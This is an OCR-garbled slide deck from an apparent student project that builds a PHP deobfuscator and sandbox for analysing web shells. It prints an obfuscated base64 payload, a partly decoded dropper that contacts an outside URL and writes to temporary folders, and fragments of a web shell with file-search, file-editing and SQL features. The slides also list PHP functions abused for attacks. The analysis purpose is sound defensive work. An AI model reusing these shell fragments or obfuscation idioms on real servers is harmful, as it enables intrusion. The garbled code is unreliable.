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Problem

PHP has become the language of choice for
developers of Remote Access Trojans (web shells)

Proliferation of such shells has become more
aggressive in recent years

Developers disquise their malware by employing
code obfuscation techniques

Sheer volume and clever code obfuscation frustrate
efforts to identify and dissect malware



Objectives

A deobfuscator for normalising input code
before execution.

A sandbox for executing and dissecting
malicious PHP code

A reporting mechanism for feedback on any
offensive features detected by the system.




What I've done

Research into popular obfuscation techniques
Evaluation of other proprietary deobfuscators

Partial implementation of a deobfuscation system
with some basic reporting

Installation and testing of the runkit_sandbox
extension for PHP



Obfuscation techniques

PHP has a long list of functions that can be abused by an
attacker:

extract - Opens the door for register globals attacks (see study in scarlet).
parse str - works like extract if only one argument is given.

putenv

ini set

-

mail - has CRLF injection in the 3rd parameter, opens the door for spam.
header - on old systems CRLF injection could be used for xss or other purposes
proc_nice

proc_terminate

proc_close

pfsockopen

fsockopen

apache _child terminate

posix kill

posix mkfifo

posix setpgid

posix setsid

posix setuid




Obfuscation techniques cont.

| am interested specifically in functions that can be used for
obfuscation

Several coding idioms are common across all shells:

eval{gzinflate(basebd decode{Code’)))
eval{gzinflate(str_rot13(basetd decode(Code™))})
eval{gzinflate(basefd _decode(str_rot13[Code’)))
S
eval{gzu
eval{gzu
eval{gzu
evalibas
eval{str_|
eval{gzin
evaligzin

eval()

eval{basefd_decodelgzuncompressibasedd_decodeCaode’))))
eval{gzinflate(basefd_decode(rawuridecodel Code’)))




Existing decoders

Proprietary software can do some very impressive things:

Function Flow Chart

A

Decoding Step 2 results:

hs ("http: //myconpanyeye . com/bulbozavr/puk7/13.1i=st", 1 * L4

900)

function hS(5u, %t){
fnobot = igset (& _REQUEST['nobot']) ? true : false:
fdebug = isgset (& _REQUEST['debug']) ? trus : false:
EtZ = 3600 * 5; X
sr3 = 3600 = 12 \
Stm = (13;:;_geti':p;ﬁad_tmp_d;:']] ? f f e i

tmp :
3;:;_get[':p;:ad_tmp_d;:']; W
if (!stmp = triksp(arrav(stm, './images/avatars/')}))




My decoder

Trying to implement some of the features that | found by
looking at other decoders

Focusing on extensibility

Also trying to add code persistence and similarity analysis

Using the runkit_sandbox to disable functions that | don't yet
override manually



My decoder cont.

PHP Decoder
Original Shell:

<7php

eval( gzinflate(

base6d decode( ' TWXXCuzIFfyX+7I2Y1Y5YfygVs7SKIsLRjmMRLkzkr7ewt+F3Yei+lRVO1DOnGkp6,/BuSdSnefmPHIDVDG ] 88a8 fPw+S+HLOSM3IDeTngdI3U7fG3sz
cEGBOWTw/MhT+687/ c+1fGvZLw+dcdvuEeMd/Ssg/vL /NKP3bERRbzkySYOPGBOUT39UmhxZQHHMINEk t3d uMy G/ w1MOd7pEG
/NIe2J7A6wueoeGDeY3y6WYOhwLe]k2+pDZqtleoXMI4aDrcli94jIn20nKtQBCcgGOWER] T7 rAes62ms IXIGXvUI fuVmuZYsHZX3a0BfhjMe
JTZkwXjnréCzRFpI4uSyMxhWSL2HDWCSXHLEWFnMvEyqZNBoLv+pkFxnNRBLzqzLOYPzGTIzwEFELSuuFvpMuGMftkOVaZgZYPqBSqY/BbZIcNtFC04WqjWFs0q
/a7DIMEG21pVILi9GnHCcIjBI10bEHN101ekU0xqz1RD1p70wg rLABdIx rHXIHf JImMMPPOP8KNh34ROFP27K7LL5TYnGCYKPO7CmZAKt ZoIWavGc1Zj ZqqF6cd6BgIxsFni
KX1GYoDUWSVXLN3Y+ed
/vGYZhh4NmxgQvhmgewzeGb4GWQHIERhNgPxQYIPUSFn2doMjPIfOEM1LWwWSY sy XwlDEAMNYCh6zSw+Dr7zLhvKz8zRv10p7MnLKBHMNN I pyn8cwbmHMZMyYOEPTUrHUD
mTrMvLKmrR6TsywTgASXrgdmvzGt+EhcBLMd2bgS16nd 802 fLT+FmAGam4 f5109a70mk238IGnGN] 7rzZ8VBH] c0eHT3F]¥xrs5Cx0UgyKKWAIRSx yAZMBIg+xs0SeN0
KI1FZb/o+ruMg@uysnHggjaRFwb00YFbZvpflGalawN fONOtotcpISeASyl/4EjKp]

/MNObxpYmEwnXqJZGOc fFF1ul46G8CI6CF r2ugxyxs LAvVE6IceHkadKxUy40kgKUE1BopBPpBqz0Jzz3nWutELG7dTDC2U3DIND tG37LMTDIdjDsIDCSelZnR
JENy1SSetGZnU2ATxvGGIZOR03255PzLgKbxnIxBn ribHN915RVTgHLgjzh2hePUkulBbZ25d rued TIWpYBZD5aB+12vTDcRdPG jwah]jd9ybTiKFrh@0ONSCKdB8OT1Yag
sWgvZxD71ZEzxR0O1Q1zTNOIyVTKB7AI lwyzXkSwlYanKu6idzBlyIC4Cregzgzwkhzc@faDPyIzcykn6CgbIrnSMwSShTIDTPPPMAXQ6TIS 1C2wBME9C2N103ACNADMaDt
RrTU7 rv+/0RroyXeWSpsozpCbNiZxL Dwl(BoxdacP8Hh2Z1zn0OMISOAEQGMBSCEa/ 0b4Z11GBBde8Dpeud jN/ jqlgg IWgWNL7654E322Gy L L BviWrgBDWeskKnceGSk)
J/nMgkbx f13mK5EtM260KML4g81/ gdmznc85T5 fuetZM35n5nXZvY riDYELS ZE36VGkd 7TpzsGg@wdhcZuaselebn

/Y riGTMKfdwCIx+60RHrkhN818r3F+Ie2Cma0BnaM2maFmRBBqOAQILkz4AB51 BwxWadck2CieIMkB3ADPZAAZ tgd 1CNr+cDIUI1 r0]51gHaWECSPANwU ] bcB] ZCghBAHN
eZHBS1IAe681UPGPLHIwyHUqYBLC/FZcOULKEKHgWO+ZUFWKALS L/ pLp0lofX+tCqprilgl3kVUX /Y /vo0bg TkLGLiXOUS/ /vnv/wE=")]];

7=

Deobfuscated Shell:

<?php

h5('http://mycompanyeye.com/bulbozavr/puk7/13.1list"  1*900)

functionh5(%u,5t){
$nobot=isset($_REQUEST['nobot']}?true:false;
$debug=isset($_REQUEST['debug'])?true:false;

5t2=3600*5;
$t3=3600*%12;
$tm=('@ini_get('upload tmp dir')}?'/tmp/':@ini _get('upload_tmp_dir')
if(!$tmp=triksp(array($tm,'./images/avatars/'}}){
if($debug){
echo('DEBUG: (ERROR: temporarypathnot found, return)<br='."\r\n")
}
return;
Iy
Sagent=isset($_SERVER['HTTP_USER_AGENT'])?$ SERVER['HTTP_USER _AGENT']:'';
if($debug){

echo('DEBUG: (INFO:temporarypath=".$tm. "' )<br>,agent('.%agent."')"'."\r\n")

if(!preg_match('s

(http|curl|google|yahoo|yandex|ya|bing|bot|crawl|lynx|SiteUptime|Spider|ia_archiver|AOL|slurp|msn)%i',$agent,Sret)){
| if($debug){

Shell Information:

Depth: 2
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My decoder cont.

//While there are still evals in the script
while(strpos($this->decoded, "eval(", S$currentPos) I== false)
{
//Extract the eval
$startEval = strpos($this->decoded, "eval(", ScurrentPos);
ScurrentPos = $startEval + 1;
$endEval = strpos($this-»decoded, ";", $currentPos);
Seval = substr($this-»decoded, $startEval + 5, S$endEval - S$startEval - 6);

//Remove the eval from the script
$this->decoded = str_replace("eval(".S%eval.");", "", S$this-=>decoded);

//Extract the text from the eval

$startText = strpos($eval, "\"");

if(SstartText === false) { S$startText = strpos(Seval, "'"); }
SendText = strrpos(Seval, "\"");

if(SendText === false) { S$endText = strpos(Seval, "'"); }

$text = substr(Seval, S$startText + 1, $endText - S$startText - 1);

//Count the number of functions used in the eval
$count = substr_count($Seval, "(");

//Populate the array of functions to be applied to the text
sfunctions = array();

s$functionPos = 83

for(Si = 0; Si < Scount; Si++)

{
SnextBracket = strpos($Seval, "(", S$functionPos);
S$functions[$1i] = substr(Seval, S$functionPos, SnextBracket - SfunctionPos);
sfunctionPos = SnextBracket + 13

}

$functions = array_reverse(Sfunctions);

//Determine the code to be inserted in the eval's place
for(Si = 8; Si < Scount; Si++)

{
switch($functions[$i])
{
case "base64_decode":
Stext = base64_decode(Stext);
break;
case "gzinflate":
Stext = gzinflate(Stext);
break;
}
}
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The runkit sandbox

An extension for PHP that allows you to run a script
in a controlled environment:

Separate scope and stack
safe_mode_include_dir
open_basedir
allow_url_fopen
disable_functions

disable classes



Problems I've encountered

PHP Decoder
Original Shell:

<?php
//Starting calls

if (Ifunction_exists("getmicrotime”)) {function getmicrotime() {list($usec, $sec) = explode(” ", microtime()); return ((float)$usec + (float)$sec);} }

error_reporting(3);

@ignore user abort(TRUE);

@set magic quotes runtime(0);
$win = strtclower(substr{PHP 05,0,3)) =
define("starttime" getmicrotime());

if (get magic_quotes gpe()) {if (function_exists("strips")) {function strips(& $arr, $k="") {if (is array($arr)) {foreach($arr as $k==%$v) {if (strtoupper($k) 1= "GLOBALS")

{strips($arr["$k"]);} } } else {$arr = stripslashes($arr);} } } strips($GLOBALS); }
$_REQUEST = array_merge($ COOKIE, $ GET$ POST);
foreach($_REQUEST as $k==>%v) {if (lisset($3k)) {$5k = $v;:}}

%shver = "Emp3ror Undetectable #18"; //Current version
//CONFIGURATION AND SETTINGS

If (lempty($unset_surl)) {setcookie("N3tsh_surl");
elseif (lempty($set surl)) {$surl =
else {$surl =
1

$surl =
$set_surl; setc:oolnue["\IBtsh_sur " $surl); }
$_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL

$surl autofill include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($thl_struct) { echo "Fields:

foreach ($thl_struct as $field) {$name = $field["Field"]; echo "» ".Sname."

} } if ($sql_gquery_result or (1$sqgl_confirm)) {$sql_query = $sql_last query;

REATE DATABASE ‘".addslashes[$db] "
=zarrayioutput type), "METHOD1"... } if output tvpe =

buttons if output type == 3, output with control- buttons *| stypes
); $op = strioupper($arr{0]); if (is_arm
{ if (strtoupper($
J$result["limit"][0]) } unset($arr{$k] $arr[$k+1]):
$found d;

=10, no output, lfoutput t_\'pe
array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array|
types[$op])) { $result["propertions"] = $types[$op]; $result["query
== "LIMIT") { $result["limit"] = $arr{$k+1]; $result["limit"] = explode(
1} 1 1} else {return FALSE;} } } if ({function_exists
lobal $found f; global $search i _f; global $search i_d; global $a; if (substr{$d,-1) |= DIRECTORY SEPARATOR) {$d .= DIRECTORY SEPARATOR:} $h =
opendir{$d); while (($f = readdir($h)) |== FALSE) { if($f 1= "." && $f 1= "..") { $bool =

} } if (Mfunction_exists("mysqgl_create_db")) { function mysgl_create_db($db,$sock

:if[ssock] (retum m\'sql query $sql $sock] } else {retum m\'sql quer\'[$sql] } }}if

l als] output if no error if output t_\'pe == 2 output without control-
DROP"==>array(1l) ) $result
1 = $query; if ($types[$op] == 2) { foreach($arr as $k=>%v)
if (count($result["limit"]) == 1) {$result{"limit"] =

N3tfsearch")) { function N3tfsearchi$d) { global $found; global

$result["limil

(empty($a['name_regexp"]) and strposi$f, $a["name"]) |l== FALSE) ||

($a["name_regexp"] and ereg($a["name"], $f)); if (is_dir($d.$f)) { $search i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found d++;} if (lis_linki($d.$f))
{N3tfsearch($d.$f);} } else { $search i f++; if ($bool) { if (lemptyvi$a["text"])) { $r = @file_get contents($d.$f); if ($a["text wwo"]) {$a["text"] =

(1$a["text cs"]) {$a["text"] = striolower($a["text"]); $r = striolower{$r); } if ($a["text regexp"]) {$bool = ereg($a["text"] $r);} else {$bool = strpos(
1$bool;} if ($bool) {$found[] = $d.$f $found f++:} } else {$found[] = $d.$f; $found f++;} } } ] } closedir{$h):
"f"; $d = dirmame($f); $f = basename[$ﬂ }}

($a["text not"]) {$bool
(is_dir($f)) {$act = "Is"; §d = $§} else {$act =
global $gzipencode, $ft; if (Theaders_sent() and $gzipencode and lin_array($ft, array(
(@ob_start("ob _gzHandler"); echo $v; @ob_end flushi
Modified: ".gmdate("D, d M Y H:i:s

{"img","download","notepad"))) { $v
i } } function N3tshexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GM
GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header(

t"],
goﬁle"] {if
@ob_implicit flush({0); function onphpshutdown() {

} }if ($act =
/Sending headers @ob_start()
f@ob get contents(); b end clean();

"); header("Last-
ache-Control: post-check=0, pre-check=0", FALSE});

header("Pragma: no-cache"); if (emptyi{$tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir{$tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpathi$tmpdir); $tmpdir =

str replace
{$tmpdir logs = $tmpdir; } else {$tmpdir logs = realpath($tmpdir logs)
$hsafemode =" "; } else {$5afemode = FALSE; $hsafemode ="
{$openbasedir = TRUE; $hopenbasadlr ="

";} else {$openbasedir = FALSE; $hopenbasedir ="

DIRECTORY SEPARATOR, $tmpdir); if (substr{$tmpdir,-1) != DIRECTORY SEPARATOR) {$tmpdir .= DIRECTORY SEPARATOR;:} if (empty($tmpdir logs))
if (@ini_geti"safe mode") or striolowe:

ni_get("safe_mode"})) == "on") { $safemode = TRUE;
vini_get(" open basedir"); if ($v or stritolower($v) == "on")
";} $sort = htmlspecialchars($sort); if (empty($sort))

"} sv=

{$sort = $sort_default;} $sort[1] = striolower($sort[1]); $DISP SERVER SOFTWARE = getenv("SERVER SOFTWARE"); if

(lereg("PHF/".phpversion(),$DISP_SERVER SOFTWARE)) {$DISP_SERVER SOFTWARE .=

". PHF/".phpversion();} $DISP SERVER SOFTWARE =

str replace("PHP/".phpversion(),"PHP/".phpversion()."" htmlspecialchars($DISP SERVER SOFTWARE)); @ini set{"highlight.bg", $highlight bg); /[FFFFFF
(@ini_set("highlight.comment", $highlight comment); /(#FF8000 @ini_set("highlight.default", $highlight default); //#0000BB @ini_set("highlight.html", $highlight html);

(#000000 @ini_set("highlight. keyword", $highlight keyword);

SI#007700 @ini_set{"highlight.string”, $highlight _string); /f

#DDO0000 if (lis_arrayi$actbox)) {$actbox = arrav()}

$dspact = $act = htmlspecialchars($act); $disp fullpath = $ls arr = $notls = null; $ud = urlencode($d); ?>

IN3tShell v. !

head

("Content-disposition:attach
tyvpe:text/plain”); header("Content-di tion:att
Sinf=getimagesize($d.5f); if(! Swhite) { l[(empt}TSlmgstze]){Slmgstze—
Sheight=5inf[1]/100*$imgsize; echo”

Size: “; $sizes=array("100","30","20"); foreach(Ssizesas$v) { ech

*: } else { @ob_clean(); Sext=explode($f,"."); Sext=Sext[count($Sext)-1]; heade)
elseif($ft=="edit") { if(lempty($submit)) { if($filestealth){Sstat=stat($d.5f); }
else { echo"Saved!"”; fwrite($fp,Sedit_text); fclose($fp); if(Sfilestealth){touch($
Srows=count{explode("\r\n",5r)); if(Srows<10){Srows=10; } if(Srows=>30){S%ro
*.htmlspecialchars($r).""; ]elself(‘empt}'\fsl’l]]{echo"

lectedtypei rect.Ifyouthink, itismistake, ple|

": } else{echo”
Unknownextension(".$ext.”),please,sel|

"; } } } } else { @ob_clean(); $Simages=array( "arrow_litr"=>
RD[GDDIthA“AlAAAAAAAPHI} HIBAU LAAEALAAAMAmABYAAA]\.:i]+py+I]P
"SIrUZGZoerKf28KjPNPOaku3RfZ+uQsKhBRiogAAOw
NIWAAACHIBAEAAAYATAAAAAAUABQAAAME"
/3zBSErf6kBW+gKRiPRghPh+EFKOmOUEqt". "Wg0JADs=", "buffer"=> "R01G{
SIIWHIBAEAAACALAAAAAATUABQAAANO",
"eLrcribGo0y4F1Amu3+NhY2Zkxl2CMEKwrQRSGuVip4 LmwDAWgIiAGFXChg+xh|
"DIwvdcEC46mi2YgJQKaxsEGDFnnGWWDTEzj2irPRdbhuG8Cr/2INZIOEhXshD
"ROIGODIhFAAUAMOQFAL3hj7nX +pgolejy/f7YAcTh+8vh+6FtH3 6WZhvr/RAQEZ
/kOm99fo/PBAZmM3 7TkGS4Hezopil9oep3GZmZy)[/yHIBAEA".
"ABBALAAAAAAUABQAAAWIACeOZGme6NmtLOulX +c4TVNVQ 7e9qFzfg4 HFo
"wSiUtmYkkrgwOAeAS5zrqalldBiNMIJeD266XYTgQDm3Rx8mdG+oAbSYdaH4(
*CHKjE4aQkQO0AISITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKkwKAadnGQK8Agu/
ROIGODIhFAAUAOZZAPzE/NPFyNgHLs0YOVPz8/b29sacpNXV1fX19cwXOfDwa
6dcGLMMpRurg6pKSktvb2 +/v7+1wh3R0dPnP1 7iAipxyel 9fX7djcscSM93d3Z(
"sGRKZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhh]JQYvLy8ui+xm3ubsxccOx8kcM4
"vHx8fMnJycM3Uf3vBrRue980Nb0Ozs9YFK3SUIKYoP+Tk3NOoSufn37ZGWsQrH
ZeAP\IudAXSsK\-'lP\".-"+ 1 SQL Subm39/f8e3udxiatraZubKz8PDw p[eegfl\'l](l]

BAEAAFLALAAAAAALABQAAAengmEg4SFhoe]hlL ﬂ]m]\ingB4ﬁGLAlYQka
*5To3MxOfhQwBA 1gYChckQBk10WiIALACLkgxJilTBIG9RFhDFh4HDJRZVFgP!
"BZTaMCISVgMC4IkVWCcaP5i960gGNFhKI04dgr0QWFcKDL3A4u0IjVZZAR
"jwVFHBgiEGQOFIgQasYkcShJQIAA7", "download"=> "ROIGODIhFAAUALMIAAT
SIIWAAAAAAAAAAAAAAAAAAAAAAT
"AAAAACHSBAFAAAQGALAAAAAAUABOQAAAROEMIIq704UyGOVKLhiVU4kpOJH
"EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGgsDInOQIXTP38przWbhX 3qg14
"ROIGODIhFAAUAPIAAAAAAP//93d3cDAWIaGhgQEBP///WAAACHIBAEAAAYA
"aLrc/iDK20p9xV3WIN3G30FZaRLDGIhEGG6Lpt3RDbd9CQFSE4P++QW7He7U
"ROIGODIhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP//fw A
"AAAAACHIBAEAAAKATAAAAAAUABQAAAR+MMESTITWIGipYMoO3cUWRge]

krgAsLf]7YOBI4tiRCYFSpPMdARRCoQOiL4i8CgZgk09WIWLBYZHBGUWjCequ

VwMrBDZvgF+ChHaGeYiCBQYHCHBVB]JaWdAeSI3YiW3 +goBIRAD
"ROIGODIhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZI9fX///jw
"AAAAACHSBAFAAAQGALAAAAAAJABQAAASBEMIJq70461m6/+AHZMUgnGiq
"2BZcwGDoEXK/Uq4ICACeQ6fzmXTins0ddle99b7cFvYpER33Z10Xy11Kt8wpol
*dH1LRWiEeOpRTXBvWHwUd306eD60HASXmJmamJUSY3+gnxujpBIRADs=",
"ROIGODIhEQAUALMAAAAAAP////HxBerqg6uPj493d3czMzLKysoaGhmZmZI9fX
"AAAAACHSBAFAAAWALAAAAAARABQAAARIKMIJq0Q460xR+GAoIMvkheIYI)
"3AKCYbjo/Y4EQqFgKIYUh8 EviWQ 6 PWPFQ]pULpunrXZLrYKx20G30DA7093H
"R3IufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", "search"=>
"ROIGODIhFAAUALMAAAAAAP(/+rg6t3d3czMzMDAWLKysoaGhnd3d2ZmZ19f)
/WAAACHIBAEAAASATAAAAAAUABQAAASNIOMISqj0z3xT6+]JZGe UZpHIgRNO)

s3IKQccz8XgK4EGgQgWMvkrSscylhoaFVvmuZLgUDAnZxEBMODSnrkhiSCZ44]

AkN4C3sfBX10VHaBJ41QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCd]JyvhoDasNZ
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Problems cont.

Learning HTML and PHP as | go along

Configuring the runkit_sandbox properly

Uploading the shells without letting them run
Managing file permission carefully to prevent errant
shells from destroying my project (not just giving

Apache read, write and execute permissions like |
did to begin with)



What I'd still like to do

Save decoded scripts in a sensible way

List variables, URLs and email addresses
discovered in code

Graphically illustrate the chain of functions
called by a script

Perform a similarity match between new
shells and those already stored



Questions




